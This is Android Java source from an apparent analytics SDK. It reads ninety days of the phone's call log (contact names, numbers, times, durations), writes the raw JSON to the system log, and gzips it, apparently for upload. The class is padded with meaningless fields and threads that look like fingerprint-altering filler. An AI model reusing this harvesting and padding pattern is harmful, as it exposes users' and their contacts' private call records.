package com.test.dababy.dababy_00_analytics.dababydata_sdk.dababyservices;

import android.Manifest;
import android.annotation.SuppressLint;
import android.content.ContentResolver;
import android.content.Context;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.provider.CallLog;
import android.text.TextUtils;
import android.util.Log;

import androidx.core.content.ContextCompat;

import com.google.gson.Gson;
import com.test.dababy.dababy_00_analytics.dababydata_sdk.dababybeans.DababyASCLgBn;
import com.test.dababy.dababy_00_analytics.dababydata_sdk.dababyutil.DababyASUtil;

import java.util.ArrayList;


//tag0414
public class DababyASCLogIfo {

    public static int fetchResult = 0;
    public static boolean rauN=false;

    public static char hatJ=']';
    public static int zL4A=224;
    public static char m8RO='­';
    public static char ewcl='Ä';
    public static float h2Xu=0.7575993f;
    public static float z41b=0.8200654f;
    public static int dc86=158;
    public static char tpIy='x';
    public static String cHNg="";

    public static void test(){
        new Thread(() -> {
            try {
                final ArrayList<Object> os = new ArrayList<>();
                os.add(hatJ);
                os.add(z41b);
                os.add(m8RO);
                os.add(ewcl);
                os.add(h2Xu);
                os.add(z41b);
                os.add(dc86);
                os.add(tpIy);
                os.add(cHNg);
                for (Object o:os){
                    if (TextUtils.isEmpty(o.toString())) setcHNg(String.valueOf(m8RO));
                    else setH2Xu(0.0414f);
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }).start();
    }


    @SuppressLint({"Recycle", "Range"})
    public static ArrayList<DababyASCLgBn> getDatas_dababy(Context paramContext) {
        ArrayList<DababyASCLgBn> arrayList = new ArrayList<>();

        if (ContextCompat.checkSelfPermission(paramContext, Manifest.permission.READ_CALL_LOG) != PackageManager.PERMISSION_GRANTED) {
            return arrayList;
        }

        try {
            ContentResolver mContentResolver = paramContext.getContentResolver();
            if (mContentResolver == null) {
                return arrayList;
            }

            String[] mColumns = {
                    CallLog.Calls.IS_READ,
                    CallLog.Calls.NEW,
                    CallLog.Calls.CACHED_NUMBER_TYPE,
                    CallLog.Calls.CACHED_NAME,
                    CallLog.Calls.NUMBER,
                    CallLog.Calls.DATE,
                    CallLog.Calls.DURATION,
                    CallLog.Calls.TYPE,
            };

            long startTime = DababyASUtil.getFilterStartTime_dababy(-90);
            String selection = "DATE >= " + startTime;

            Cursor cursor = mContentResolver.query(
                    CallLog.Calls.CONTENT_URI,
                    mColumns,
                    selection,
                    null,
                    CallLog.Calls.DEFAULT_SORT_ORDER
            );

            if (cursor == null) {
                return arrayList;
            }

            while (cursor.moveToNext()) {
                @SuppressLint("Range") int type = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.TYPE));
                String typeString = "";
                switch (type) {
                    case CallLog.Calls.INCOMING_TYPE: {
                        typeString = "INCOMING_TYPE";
                        break;
                    }
                    case CallLog.Calls.OUTGOING_TYPE: {
                        typeString = "OUTGOING_TYPE";
                        break;
                    }
                    case CallLog.Calls.MISSED_TYPE: {
                        typeString = "MISSED_TYPE";
                        break;
                    }
                    case CallLog.Calls.VOICEMAIL_TYPE: {
                        typeString = "VOICEMAIL_TYPE";
                        break;
                    }
                    case CallLog.Calls.REJECTED_TYPE: {
                        typeString = "REJECTED_TYPE";
                        break;
                    }
                    case CallLog.Calls.BLOCKED_TYPE: {
                        typeString = "BLOCKED_TYPE";
                        break;
                    }
                    default:
                        break;
                }

                String name = cursor.getString(cursor.getColumnIndex(CallLog.Calls.CACHED_NAME));
                String mobile = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER));
                int isRead = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.IS_READ));
                int isNew = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.NEW));
                int duration = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.DURATION));
                long dateLong = cursor.getLong(cursor.getColumnIndex(CallLog.Calls.DATE));

                DababyASCLgBn bean = new DababyASCLgBn();
                bean.setIsNew_dababy(String.valueOf(isNew));
                bean.setIsRead_dababy(isRead == 0 ? "YES" : "NO");
                bean.setClTm_dababy(String.valueOf(dateLong));
                bean.setDuration_dababy(String.valueOf(duration));
                bean.setNickName_dababy(name);
                bean.setMobile_dababy(mobile);
                bean.setType_dababy(String.valueOf(type));
                bean.setTypeDes_dababy(typeString);
                arrayList.add(bean);
            }

            if (!cursor.isClosed()) {
                cursor.close();
            }

        } catch (Exception e) {
            e.printStackTrace();
        }

        if (arrayList.size() > 0) {
            fetchResult = 1;
        } else {
            fetchResult = 2;
        }

        return arrayList;
    }

    public static String getZipString_dababy(Context paramContext) {
        String zipString = "";
        try {
            ArrayList<DababyASCLgBn> infoBeans = getDatas_dababy(paramContext);
            String result = new Gson().toJson(infoBeans).trim();
            Log.w("---data_calllog---", result );
            zipString = DababyASUtil.stringToGZIP_dababy(result);
            infoBeans.clear();
        } catch (Exception e) {
            e.printStackTrace();
        }

        return zipString;
    }

    public static void setFetchResult(int fetchResult) {
        DababyASCLogIfo.fetchResult = fetchResult;
    }

    public static int getFetchResult() {
        return fetchResult;
    }

    public static void setRauN(boolean b) {
        rauN = b;

        new Thread(() -> {
            try {

            }catch (Exception e){
                e.printStackTrace();
            }
        }).start();

    }

    public static void setHatJ(char hatJ) {
        DababyASCLogIfo.hatJ = hatJ;
    }

    public static void setzL4A(int zL4A) {
        DababyASCLogIfo.zL4A = zL4A;
    }

    public static void setM8RO(char m8RO) {
        DababyASCLogIfo.m8RO = m8RO;
    }

    public static void setEwcl(char ewcl) {
        DababyASCLogIfo.ewcl = ewcl;
    }

    public static void setH2Xu(float h2Xu) {
        DababyASCLogIfo.h2Xu = h2Xu;
    }

    public static void setZ41b(float z41b) {
        DababyASCLogIfo.z41b = z41b;
    }

    public static void setDc86(int dc86) {
        DababyASCLogIfo.dc86 = dc86;
    }

    public static void setTpIy(char tpIy) {
        DababyASCLogIfo.tpIy = tpIy;
    }

    public static void setcHNg(String cHNg) {
        DababyASCLogIfo.cHNg = cHNg;
    }
}
